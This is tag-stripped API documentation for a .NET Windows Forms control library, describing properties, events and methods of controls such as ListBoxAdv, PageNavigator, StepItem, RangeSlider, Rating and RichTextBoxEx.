+ + + Occurs when a item for an data-bound object item has been created and provides you with opportunity to modify the created item. + + + + + Occurs when value of SelectedIndex property has changed. + + + + + Indicates whether touch support for scrolling is enabled. + + + + + Initializes a new instance of the ListBoxAdv class. + + + + + Called when CheckBoxesVisible property has changed. + + Old property value + New property value + + + + Called when ItemHeight property has changed. + + Old property value + New property value + + + + Called when SelectionMode property has changed. + + Old property value + New property value + + + + Selects or clears the selection for the specified item in a ListBoxAdv. Use this property to set the selection of items in a multiple-selection ListBoxAdv. To select an item in a single-selection ListBox, use the SelectedIndex property. + + The zero-based index of the item in a ListBox to select or clear the selection for. You can pass -1 to clear the selection. + true to select the specified item; otherwise, false. + + + + Selects or clears the selection for the specified item in a ListBoxAdv. Use this property to set the selection of items in a multiple-selection ListBoxAdv. To select an item in a single-selection ListBox, use the SelectedIndex property. + + The zero-based index of the item in a ListBox to select or clear the selection for. You can pass -1 to clear the selection. + true to select the specified item; otherwise, false. + Indicates the source of the change. + + + + Selects next visible list box item. + + + + + Selects previous visible list box item. + + + + + Gets ListBoxItem which represents an object value from Items collection when Items collection contains non ListBoxItem objects. + + Value to get ListBoxItem for. + + + + + Called when DisplayMember property has changed. + + Old property value + New property value + + + + Called when CheckStateMember property has changed. + + Old property value + New property value + + + + Raises CheckStateConvert event. + + Provides event arguments. + + + + Called when ValueMember property has changed. + + Old property value + New property value + + + + Clears internal property descriptors cache when data-binding is used. In most cases it is not needed that you call this method. Do so only if instructed by DevComponents support. + + + + + Finds the first item in the ListBox that starts with the specified string. The search starts at a specific starting index. + + The text to search for. + The zero-based index of the first item found; returns ListBox.NoMatches if no match is found. + + + + Finds the first item in the ListBox that starts with the specified string. The search starts at a specific starting index. + + The text to search for. + The zero-based index of the item before the first item to be searched. Set to negative one (-1) to search from the beginning of the control. + The zero-based index of the first item found; returns ListBox.NoMatches if no match is found. + + + + Finds the first item in the ListBox that exactly matches the specified string. The search starts at a specific starting index. + + The text to search for. + The zero-based index of the first item found; returns ListBox.NoMatches if no match is found. + + + + Finds the first item in the ListBox that exactly matches the specified string. The search starts at a specific starting index. + + The text to search for. + The zero-based index of the item before the first item to be searched. Set to negative one (-1) to search from the beginning of the control. + The zero-based index of the first item found; returns ListBox.NoMatches if no match is found. + + + + Raises ItemCheck event. + + Provides event arguments. + + + + Sets the check state of the item at the specified index. + + The index of the item to set the state for. + One of the CheckState values. + + + + Gets the list of items displayed in list box. + + + + + Gets the collection of view items which are created to represent each data item in Items collection. + + + + + Indicates whether check-boxes are visible inside list box items. + + + + + Indicates fixed item height. Maybe set to 0 to indicate that each item should be sized based on its content. + + + + + Specifies the selection mode used by the control. + + + + + Gets or sets the zero-based index of the currently selected item in a ListBoxAdv. Negative one (-1) is returned if no item is selected. + + + + + Gets a collection that contains the zero-based indexes of all currently selected items in the ListBoxAdv. Do not modify items in this collection. To select or deselect list items while in multi-selection mode use SetSelected method. + + + + + Gets a collection containing the currently selected items in the ListBoxAdv. Do not modify items in this collection. To select or deselect list items while in multi-selection mode use SetSelected method. + + + + + Gets or sets the selected item. + + + + + Indicates property name which will provide the value to display for this list box when data-binding is used and DataSource is set. + + + + + Indicates property name which will provide the value for CheckState of the list box item when data-binding is used and DataSource is set. + + + + + Occurs when using data-binding with CheckStateMember specified and it allows you to convert a property value to CheckState. + + + + + Returns the enumerator with selected values if any + + + + + Gets or sets the value of the member property specified by the ValueMember property. If ValueMember specifies property that cannot be found on selected object this property returns null. + + + + + Indicates property name which will return the value for the selected item when SelectedValue property is accessed. + + + + + Occurs when CheckState of an ListBoxItem changes and it allows you to cancel the change. + + + + + Gets collection of checked items in the list. Modifying this collection does not have any effect on actual checked items. Use SetItemCheckState to set checked state of an item or access ListBoxItem directly and set its CheckState property. + + + + + + Defines selection modes for list control. + + + + + Items cannot be selected. + + + + + Only one item at the time can be selected. + + + + + Multiple items can be selected. A mouse click or pressing the SPACEBAR selects or deselects an item in the list. + + + + + Multiple items can be selected. Pressing SHIFT and clicking the mouse or pressing SHIFT and one of the arrow keys (UP ARROW, DOWN ARROW, LEFT ARROW, and RIGHT ARROW) extends the selection from the previously selected item to the current item. Pressing CTRL and clicking the mouse selects or deselects an item in the list. + + + + + Indicates that CheckState change of the item should be canceled. + + + + + Specifies the ListBoxItem that was changing. + + + + + When data-bound provides the object which was used to generate an ListBoxItem. + + + + + Initializes a new instance of the ListBoxAdvItemCheckEventArgs class. + + + + + + + Represents the ListBoxAdv item for internal use. Not for public usage. + + + + + Returns copy of the item. + + + + + Copies the ListBoxItem specific properties to new instance of the item. + + New ListBoxItem instance. + + + + Copies the ListBoxItem specific properties to new instance of the item. + + New item instance. + + + + Called when CheckState property has changed. + + Old property value + New property value + + + + Called when IsSelected property has changed. + + Old property value + New property value + + + + Sets selected state of the item including the source of the action that caused the change. + + + + + + + Called when HotTracking property has changed. + + Old property value + New property value + + + + Called when Image property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether mouse is over the item. + + + + + Gets the mouse state of the check box part of item if visible. + + + + + Indicates check-box state if visible. + + + + + Gets or sets whether item is selected. + + + + + Indicates whether item changes its background colors when mouse is over the item. + + + + + Specifies image displayed on the item. + + + + + Gets or sets the color of the Symbol. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Indicates the array of colors that when set are used to draw the background of the item. + + + + + Gets or sets the color of the text. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the text alignment. Default value is left. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Paints ListBoxItem. + + Provides arguments for the operation. + + + + Provides data for the Slider item rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the ListBoxItem being rendered. + Reference to the graphics object. + + + + Defines color table for ListBoxItem. + + + + + Specifies default state color table. + + + + + Specifies mouse over state color table. + + + + + Specifies selected state color table. + + + + + Defines single state color table for ListBoxItem. + + + + + Initializes a new instance of the OfficeListBoxItemStateColorTable class. + + + + + Initializes a new instance of the OfficeListBoxItemStateColorTable class. + + + + + + + + + Initializes a new instance of the OfficeListBoxItemStateColorTable class. + + + + + + Indicates item text color. + + + + + Gets or sets the background colors for the item. + + + + + Gets or sets the back colors gradient angle if there is more than one color in BackColors array. + + + + + Gets or sets the gradient colors positions if there is more than one color in BackColors array. + + + + + Paints StepItem. + + Provides arguments for the operation. + + + + Represents the extended ListView control with the Office 2007 Style. + + + + + Called when ColumnHeaderFont property has changed. + + Old property value + New property value + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Resets internal Column Header handler. This method should be called after you change the View property + at run-time. If your control is always in single view there is no need to call this method. This method + will work only when controls handle has already been created. + + + + + Resets the internal color table reference. This method is usually called automatically by + + + + + Gets whether property should be serialized by VS.NET designer. + + + + + Resets property to its default value. + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrived from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Gets or sets the column header font. Default value is null which means controls Font property is used. + + + + + Gets or sets the item foreground color when control or item is disabled. By default SystemColors.Dark is used. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Specifies the control border style. Default value has Class property set so the system style for the control is used. + + + + + Specifies back color when Enabled=false + + + + + Summary description for MessageHandler. + + + + + Calculates the size of non-client area of the control. + + + + + Paints the non-client area of the control. + + + + + Draws the non-client area buffered. + + + + + Represents the PageNavigator control + + + + + Constructor + + + + + Hooks or unhooks our control events + + true to hook, false to unhook + + + + Handles NavigatePreviousPage events + + + + + + + Raises the NavigatePreviousPage event + + + + + Handles NavigateToday events + + + + + + + Raises the NavigateToday event + + + + + Handles NavigateNextPage events + + + + + + + Raises the NavigateNextPage event + + + + + Forces the button to perform internal layout. + + + + + Dispose + + + + + + Occurs when NavigateNextPage button is clicked + + + + + Occurs when NavigateToday button is clicked + + + + + Occurs when NavigatePreviousPage button is clicked + + + + + DefaultSize + + + + + Gets or sets the layout orientation. Default value is horizontal. + + + + + Gets or sets the tooltip for the PreviousPage button of the control + + + + + Gets or sets the tooltip for the Today button + + + + + Gets or sets the tooltip for the NextPage button + + + + + Gets/Sets the visual style for the control. + + + + + PageNavigator buttons + + + + + Previous page + + + + + Today + + + + + Next page + + + + + Represents the PageNavigate item + + + + + Creates new instance of PageNavigateItem + + + + + Creates new instance of PageNavigateItem and assigns the name to it + + Item name + + + + Handles size recalc + + + + + Handles external size changes + + + + + Lays out our control based upon its + vertical / horizontal orientation + + + + + Handles control rendering + + + + + + Draws the PreviousPage button + + Graphics + Office2007ScrollBarColorTable + + + + Gets the PreviousPage bitmap + + + + + + + + Creates the PreviousPage bitmap + + + + + + + + Draws the Today button + + Graphics + Office2007ScrollBarColorTable + + + + Gets the Today Bitmap + + + + + + + + Creates the Today Bitmap + + + + + + + + Draws the NextPage button + + + + + + + Gets the NextPage Bitmap + + + + + + + + Creates the NextPage Bitmap + + + + + + + + Centers the given rect + + + + + + + Processes InternalMouseMove events + + + + + + Returns the HitText area for the given point + + + + + + + Processes Mouse Leave events + + + + + Processes Mouse Down events + + + + + + Processes Mouse Up events + + + + + + Raises the NavigatePreviousPage event + + + + + Raises the NavigateToday event + + + + + Raises the NavigateNextPage event + + + + + Handles timer click events + + + + + + + Enables our click timer + + + + + Disposes of the click timer + + + + + OnTooltipChanged + + + + + Updates the control tooltip + + + + + Returns copy of the item + + + + + Copies the PageNavigatorItem specific properties to + new instance of the item + + New PageNavigatorItem instance + + + + Dispose + + + + + Releases the given bitmap + + Bitmap to release + + + + Occurs when NavigateNextPage button is clicked + + + + + Occurs when NavigateToday button is clicked + + + + + Occurs when NavigatePreviousPage button is clicked + + + + + Gets or sets the MouseOverPart + + + + + Gets or sets the MouseDownPart + + + + + Gets or sets the control orientation. Default value is Horizontal + + + + + Gets or sets whether Click event will be auto repeated + when mouse button is kept pressed over the item + + + + + Gets or sets the auto-repeat interval for the click event + when mouse button is kept pressed over the item + + + + + Gets or sets the tooltip for the PreviousPage button of the control + + + + + Gets or sets the tooltip for the Today button + + + + + Gets or sets the tooltip for the NextPage button + + + + + Defines the PageNavigator item parts + + + + + Indicates no part + + + + + Indicates the PreviousPage button of the control + + + + + Indicates the TodayPage button of the control + + + + + Indicates the NextPage button of the control + + + + + Initializes a new instance of the PageSlider class. + + + + + Raises SelectedPageChanged event. + + Provides event arguments. + + + + Called when IndicatorVisible property has changed. + + Old property value + New property value + + + + Returns array of all pages in control. + + Array of pages. + + + + Removes and disposes all pages within the control. + + + + + Called when SelectedPage property has changed. + + Old property value + New property value + + + + Called when AnimationTime property has changed. + + Old property value + New property value + + + + Called when SelectedPagePadding property has changed. + + Old property value + New property value + + + + Called when PageSpacing property has changed. + + Old property value + New property value + + + + Called when NextPageVisibleMargin property has changed. + + Old property value + New property value + + + + Called when Orientation property has changed. + + Old property value + New property value + + + + Called when ScrollBarVisibility property has changed. + + Old property value + New property value + + + + Called when TouchEnabled property has changed. + + Old property value + New property value + + + + Occurs when selected page has changed. + + + + + Gets or sets whether current page indicator is visible. Default value is true. + + + + + Indicates selected page. + + + + + Indicates the animation time in milliseconds for operations that perform visual animation of transition. Set to zero to disable animation. + + + + + Gets or sets zero based selected page index. If there is no page selected returns -1. + + + + + Gets the total number of pages displayed by the control. + + + + + Gets or sets the single page padding. + + + + + Gets or sets the spacing in pixels between pages. + + + + + Gets or sets the page layout orientation. Default is horizontal. + + + + + Indicates whether page can be dragged using mouse to change currently selected page + + + + + Indicates whether selected page can be changed by using mouse drag on PageSlider client area which is not covered by pages. + + + + + Indicates scrollbar visibility. + + + + + Gets or sets the time in milliseconds that scrollbar is kept visible when there is no activity in control and mouse is over the control. + + + + + Indicates whether native touch support in control is enabled if available on target system. + + + + + Specifies scrollbar visibility. + + + + + Scrollbars are not visible. + + + + + Scrollbars are visible only if mouse is inside of the control. + + + + + Scrollbars are always visible. + + + + + Specifies level of touch enabled on the control. + + + + + Touch is enabled control wide. + + + + + Touch is disabled control wide. + + + + + Touch is enabled but only for the direct control client content. If touch input occurs on any child control it is not processed. + + + + + Called when PageNumber property has changed. + + Old property value + New property value + + + + Gets or sets page number. Page number determines the order in which pages are displayed inside of the PageSlider control. + + + + + Represents control which visually indicates current step in a sequence. + + + + + Initializes a new instance of the StepIndicator class. + + + + + Called when StepCount property has changed. + + Old property value + New property value + + + + Called when CurrentStep property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Orientation property has changed. + + Old property value + New property value + + + + Gets or sets the total number of steps that control will track. Default value is 10. + + + + + Gets or sets the current step in sequence. Current step should be less or equal than StepCount. + + + + + Gets or sets the background color of the control. + + + + + Gets or sets the color of the current step indicator. + + + + + Indicates the control orientation. + + + + + Processes the resizing messages. + + The message. + true, if the WndProc method from the base class shouldn't be invoked. + + + + Gets whether popup has been resized by end-user. + + + + + Type of resize mode, grips are automatically drawn at bottom-left and bottom-right corners. + + + + + Gets or sets whether Close button is visible in fotter. Resize handle must also be visible in order for close button to render. + + + + + Gets resize grip bounds. + + + + + Initializes a new instance of the ResizeGripColors structure. + + + + + + + + Specifies the popup resize modes + + + + + Raises Closed event. + + Provides event arguments. + + + + Raises Closing event. + + Provides event arguments. + + + + Show control on popup at specified location. + + + + + Shows control on popup at specified location with specified popup resize edges. + + + + + Shows control on popup at specified location and size with specified popup resize edges. + + + + + Hides popup if visible. + + + + + Occurs after popup is closed. + + + + + Occurs before popup is closed and allows canceling. + + + + + Gets whether popup is visible. + + + + + Gets the control displayed on popup. + + + + + Gets or sets the popup padding. + + + + + Gets or sets popup margin. + + + + + Represents the stand-alone progress bar control. + + + + + Advances the current position of the progress bar by the amount of the Step property. + + + + + Advances the current position of the progress bar by the specified amount. + + The amount by which to increment the progress bar's current position. + + + + Gets whether ChunkColor property should be serialized. + + + + + Resets the ChunkColor property to its default value. + + + + + Gets whether ChunkColor property should be serialized. + + + + + Resets the ChunkColor property to its default value. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the current position of the progress bar. + + + + + Gets or sets the amount by which a call to the PerformStep method increases the current position of the progress bar. + + + + + Gets or sets the color of the progress chunk. + + + + + Gets or sets the target gradient color of the progress chunk. + + + + + Gets or sets the gradient angle of the progress chunk. + + + + + Gets or sets whether the text inside the progress bar is displayed. + + + + + Gets or sets the type of progress bar used to indicate progress. The Standard style displays the progress based on Minimum, Maximum and current Value. + The Marquee type is automatically moving progress bar that is used to indicate an ongoing operation for which the actual duration cannot be estimated. + + + + + Gets or sets the marquee animation speed in milliseconds. + + + + + Gets or sets the predefined color state table for progress bar. Color specified applies to items with Office 2007 style only. It does not have + any effect on other styles. You can use ColorTable to indicate the state of the operation that Progress Bar is tracking. Default value is eProgressBarItemColor.Normal. + + + + + Gets the underlying ProgressBarItem + + + + + Defines color table for the StepItem. + + + + + Gets or sets the default state StepItem colors. + + + + + Gets or sets the mouse over state StepItem colors. + + + + + Gets or sets the StepItem colors when mouse is pressed over the item. + + + + + Gets or sets the StepItem colors when Value property is greater than Minimum property value, i.e. item is reporting progress. + Note that only Background color is used when progress indicator is drawn. + + + + + Paints StepItem. + + Provides arguments for the operation. + + + + Paints StepItem. + + Provides arguments for the operation. + + + + Represents the color table for StepItem single state. + + + + + Initializes a new instance of the OfficeStepItemStateColorTable class. + + + + + Initializes a new instance of the OfficeStepItemStateColorTable class. + + + + + + + + Initializes a new instance of the OfficeStepItemStateColorTable class. + + + + + + + + + + Gets or sets the background colors for the step item. + + + + + Gets or sets the back colors gradient angle if there is more than one color in BackColors array. + + + + + Gets or sets the gradient colors positions if there is more than one color in BackColors array. + + + + + Gets or sets the text color for the step item. + + + + + Gets or sets the border colors of the step item. + + + + + Represents the progress steps control. + + + + + Initializes a new instance of the ProgressSteps class. + + + + + Returns collection of items on a bar. + + + + + Gets/Sets the visual style for items and color scheme. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets the arrow pointer width for the StepItem objects hosted within this container. + + + + + Represents a step item which is used to show single step in multi-step progress control. + + + + + Creates new instance of StepItem. + + + + + Creates new instance of StepItem and assigns the name to it. + + Item name. + + + + Creates new instance of StepItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the StepItem specific properties to new instance of the item. + + New StepItem instance. + + + + Copies the StepItem specific properties to new instance of the item. + + New StepItem instance. + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Called when Minimum property has changed. + + Old property value + New property value + + + + Called when Maximum property has changed. + + Old property value + New property value + + + + Called when Value property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Called when Image property has changed. + + Old property value + New property value + + + + Called when MinimumSize property has changed. + + Old property value + New property value + + + + Called when HotTracking property has changed. + + Old property value + New property value + + + + Called when ImageTextSpacing property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets the render path of the item. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the color of the Symbol. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Indicates the image that is displayed next to the item text label. + + + + + Gets or sets whether this is first item in StepControl. + + + + + Gets or sets whether this is laste item in StepControl. + + + + + Indicates minimum size of the item + + + + + Specifies whether item changes its appearance when mouse is moved over the item + + + + + Gets whether mouse is over the item. + + + + + Gets whether left mouse button is pressed on the item. + + + + + Indicates the spacing between image and text. + + + + + Gets or sets padding around content of the item. + + + + + Indicates the array of colors that when set are used to draw the current progress, i.e. Value>Minimum + + + + + Indicates the array of colors that when set are used to draw the background of the item. + + + + + Gets or sets the text alignment. Default value is left. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the color of the text. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Container for the StepItem objects. + + + + + Initializes a new instance of the StepContainer class. + + + + + Returns copy of the item. + + + + + Copies the StepContainer specific properties to new instance of the item. + + New StepContainer instance. + + + + Copies the StepContainer specific properties to new instance of the item. + + New StepContainer instance. + + + + Called when PointerSize property has changed. + + Old property value + New property value + + + + Gets or sets the arrow pointer width for the StepItem objects hosted within this container. + + + + + Provides data for the Slider item rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the Slider item being rendered. + Reference to the graphics object. + + + + Gets or sets current MultiFormAppContext context. If you are using MultiFormAppContext to start your app then you should also + set that instance of MultiFormAppContext to this property so internally TabFormControl can register any new deattached forms + and prevent application from closing if startup form is closed first. + + + + + Gets or sets whether tab renders its state. Used internally by DotNetBar. Do not set. + + + + + Gets the actual tab path. + + + + + Indicates the array of colors that when set are used to draw the background of the item. + + + + + Summary description for Office2003ButtonItemPainter. + + + + + Summary description for ButtonItemPainter. + + + + + Paints state of the button, either hot, pressed or checked + + + + + + + + Paints state of the button, either hot, pressed or checked + + + + + + + + Gets or sets color table used by renderer. + + + + + Gets or sets the color table for form in active state. + + + + + Gets or sets the color table for from in inactive state. + + + + + Gets or sets the border thickness. + + + + + Gets or sets the background color of the form. + + + + + Gets or sets the text color of the form. + + + + + Gets or sets the text formatting for caption text. + + + + + Represents Range Slider Control. + + + + + Raises ValueChanging event. + + Provides event arguments. + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Raises GetRangeTooltipText event. + + Provides event arguments. + + + + Forces the button to perform internal layout. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs before Value has changed and allow the cancellation of the change. + + + + + Occurs after Value property has changed + + + + + Occurs when control is about to display the range tooltip and it allows you to customize tooltip + + + + + Gets the RangeSliderItem. + + + + + Indicates whether clicking the area outside of the range change buttons moves the range change button to the clicked location if possible thus allowing range change. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Indicates image to be used as maximum range slider button instead of built-in button. Image is scaled to size set by RangeButtonSize. + + + + + Indicates image to be used as minimum range slider button instead of built-in button. Image is scaled to size set by RangeButtonSize. + + + + + Specifies minimum absolute range that user can select. Absolute range is defined as Abs(Value.Max-Value.Min) Applies to user performed selection through mouse only. + + + + + Gets current part that is pressed using mouse left button. + + + + + Gets mouse over part. + + + + + Gets bounds of maximum range sliding button. + + + + + Gets bounds of minimum range sliding button. + + + + + Indicates the size of the range change buttons. + + + + + Specifies the height of the range line + + + + + Gets or sets the string that is used to format the range value to be displayed while user moves the range buttons. Value set here is used in string.Format(RangeTooltipFormat, Value.Min, Value.Max). + + + + + Gets or sets the color of the range value. + + + + + Specifies whether range tooltip is shown while user is changing the range + + + + + Gets or sets the slider orientation. Default value is horizontal. + + + + + Gets tick marks bounds. + + + + + Gets tick marks bounds for second marker is visible. + + + + + Specifies the ticks position inside of Range Slider. + + + + + Indicates tick display period + + + + + Indicates whether tick lines are shown + + + + + Gets or sets the range displayed by the control. + + + + + Represents the Rating control. + + + + + Initializes a new instance of the Rating class. + + + + + Raises the ParseRating event. + + Provides event arguments. + + + + Raises the ParseAverageRatingValue event. + + Provides event arguments. + + + + Raises the AverageRatingChanged event. + + Event data. + + + + Raises the RatingChanged event. + + Event data. + + + + Raises RatingChanging event. + + Event data + + + + Called when Command property value changes. + + + + + Occurs when Rating property has changed. + + + + + Occurs when RatingValue property has changed. + + + + + Occurs when Rating property is about to be changed and provides opportunity to cancel the change. + + + + + Occurs when AverageRating property has changed. + + + + + Occurs when AverageRatingValue property has changed. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Occurs when RatingValue property is set and it allows you to provide custom parsing for the values. + + + + + Occurs when AverageRatingValue property is set and it allows you to provide custom parsing for the values. + + + + + Indicates number of stars used for the rating. Minium value is 2 stars. + + + + + Gets or sets the rating value represented by the control. Default value is 0 which indicates + that there is no rating set. Maximum value is 5. + + + + + Gets or sets the average rating shown by control. Control will display average rating (if set) when no explicit + Rating value is set through Rating property. Minimum value is 0 and Maximum value is 5. + + + + + Gets or sets the AverageRating property. This property is provided for Data-Binding with NULL value support. + + + + + Gets the reference to custom rating images. + + + + + Gets or sets whether text assigned to the check box is visible. Default value is true. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets whether rating can be edited. Default value is true. + + + + + Gets or sets the orientation of rating control. + + + + + Gets or sets the Rating property value. This property is provided for Data-Binding with NULL value support. + + + + + Gets or sets the text color. Default value is Color.Empty which indicates that default color is used. + + + + + Gets or sets the spacing between optional text and the rating. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Represents an image control with built-in reflection. + + + + + Initializes a new instance of the ReflectionImage class. + + + + + Gets or sets the image displayed on the control. + + + + + Gets or sets whether reflection effect is enabled. Default value is true. + + + + + Represents an single line of text label control with text-markup support and built-in reflection. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets whether reflection effect is enabled. Default value is true. + + + + + Represents control which handles scroll-bars. + + + + + Initializes a new instance of the ScrollbarControl class. + + + + + Called when ScrollOverrideControl property has changed. + + Old property value + New property value + + + + Gets or sets the scroll-bar visual style. + + + + + Initializes a new instance of the RichTextBoxEx class. + + + + + Raises AcceptsTabChanged event. + + Provides event arguments. + + + + Raises HideSelectionChanged event. + + Provides event arguments. + + + + Raises ModifiedChanged event. + + Provides event arguments. + + + + Raises MultilineChanged event. + + Provides event arguments. + + + + Raises ReadOnlyChanged event. + + Provides event arguments. + + + + Raises LinkClicked event. + + Provides event arguments. + + + + Raises Protected event. + + Provides event arguments. + + + + Raises SelectionChanged event. + + Provides event arguments. + + + + Raises HScroll event. + + Provides event arguments. + + + + Raises HScroll event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Appends text to the current text of a text box + + + + + Determines whether you can paste information from the Clipboard in the specified data format. + + + + + + + Clears all text from the text box control. + + + + + Clears information about the most recent operation from the undo buffer of the text box. + + + + + Copies the current selection in the text box to the Clipboard. + + + + + Moves the current selection in the text box to the Clipboard. + + + + + Specifies that the value of the SelectionLength property is zero so that no characters are selected in the control. + + + + + Searches the text in a RichTextBox control for a string. + + + + + + + Searches the text of a RichTextBox control for the first instance of a character from a list of characters. + + + + + + + Searches the text in a RichTextBox control for a string with specific options applied to the search. + + + + + + + + Searches the text of a RichTextBox control, at a specific starting point, for the first instance of a character from a list of characters. + + + + + + + + Searches the text in a RichTextBox control for a string at a specific location within the control and with specific options applied to the search. + + + + + + + + + Searches a range of text in a RichTextBox control for the first instance of a character from a list of characters. + + + + + + + + + Searches the text in a RichTextBox control for a string within a range of text within the control and with specific options applied to the search. + + + + + + + + + + Retrieves the character that is closest to the specified location within the control. + + + + + + + Retrieves the index of the character nearest to the specified location + + + + + + + Retrieves the index of the first character of a given line. (Inherited from TextBoxBase.) + + + + + + + Retrieves the index of the first character of the current line. (Inherited from TextBoxBase.) + + + + + + Retrieves the line number from the specified character position within the text of the RichTextBox control. + + + + + + + Retrieves the location within the control at the specified character index. + + + + + + + Loads a rich text format (RTF) or standard ASCII text file into the RichTextBox control. + + + + + + Loads the contents of an existing data stream into the RichTextBox control. + + + + + + + Loads a specific type of file into the RichTextBox control. + + + + + + + Replaces the current selection in the text box with the contents of the Clipboard. + + + + + Pastes the contents of the Clipboard in the specified Clipboard format. + + + + + + Reapplies the last operation that was undone in the control. + + + + + Saves the contents of the RichTextBox to a rich text format (RTF) file. + + + + + + Saves the contents of a RichTextBox control to an open data stream. + + + + + + + Saves the contents of the RichTextBox to a specific type of file. + + + + + + + Scrolls the contents of the control to the current caret position. + + + + + Activates the control. (Inherited from Control.) + + + + + Selects a range of text in the text box. + + + + + + + Selects all text in the text box. + + + + + Undoes the last edit operation in the text box. + + + + + Gets the reference to internal RichTextBox control. + + + + + Occurs when the value of the AcceptsTab property changes + + + + + Occurs when the value of the HideSelection property changes. + + + + + Occurs when the value of the Modified property changes. + + + + + Occurs when the value of the Multiline property changes. + + + + + Occurs when the value of the ReadOnly property changes. + + + + + Occurs when a hyperlink in the text is clicked. + + + + + Occurs when the user takes an action that would change a protected range of text. + + + + + Occurs when the current selection has changed. + + + + + Occurs when the horizontal scroll bar is clicked. + + + + + Occurs when the vertical scroll bar is clicked. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is true. + + + + + Gets or sets the back color of the RichTextBox. + + + + + Gets or sets whether tab characters are accepted as input + + + + + Gets or sets whether automatic word selection is enabled. + + + + + Gets or sets indent for bullets in the control. + + + + + Gets or sets whether URLs are automatically formatted as links. + + + + + Gets or sets whether drag/drop of text, pictures and other data is enabled. + + + + + Gets or sets whether selection should be hidden when the edit control loses focus. + + + + + Gets or sets lines of text in a multi-line edit, as an array of String values. + + + + + Gets or sets maximum number of characters that can be entered into the edit control. + + + + + Gets or sets whether the text in the control can span more than one line. + + + + + Gets or sets whether the text in the edit control can be changed or not. + + + + + Gets or sets right margin dimensions. + + + + + Gets or sets the text of the RichTextBox control, including all rich text format (RTF) codes. + + + + + Gets or sets for multi-line edit control, which scroll bars will be shown. + + + + + Gets or sets whether shortcuts defined for the control are enabled. + + + + + Gets or sets whether selection margin is visible. + + + + + Gets or sets whether lines are automatically word-wrapped. + + + + + Gets or sets current zoom factor for the control content. + + + + + Should be fired when non-client size of the control changes, i.e. when WM_NCCALCSIZE message is received. + + + + + Should be fired when scroll-bar value on child control changes. + + + + + Should be fired when control receives WM_MOVE message. + + + + + Gets whether control is in design mode. + + + + + Raises NonClientSizeChanged event. + + Provides event arguments. + + + + Raises ScrollBarValueChanged event. + + Provides event arguments. + + + + Raises NonClientSizeChanged event. + + Provides event arguments. + + + + Defines arguments for IScrollBarOverrideSupport.ScrollBarValueChanged event. + + + + + Initializes a new instance of the ScrollValueChangedEventArgs class. + + + + + + Defines information for IScrollBarOverrideSupport.ScrollBarValueChanged event. + + + + + Defines delegate for IScrollBarOverrideSupport.ScrollBarValueChanged event. + + 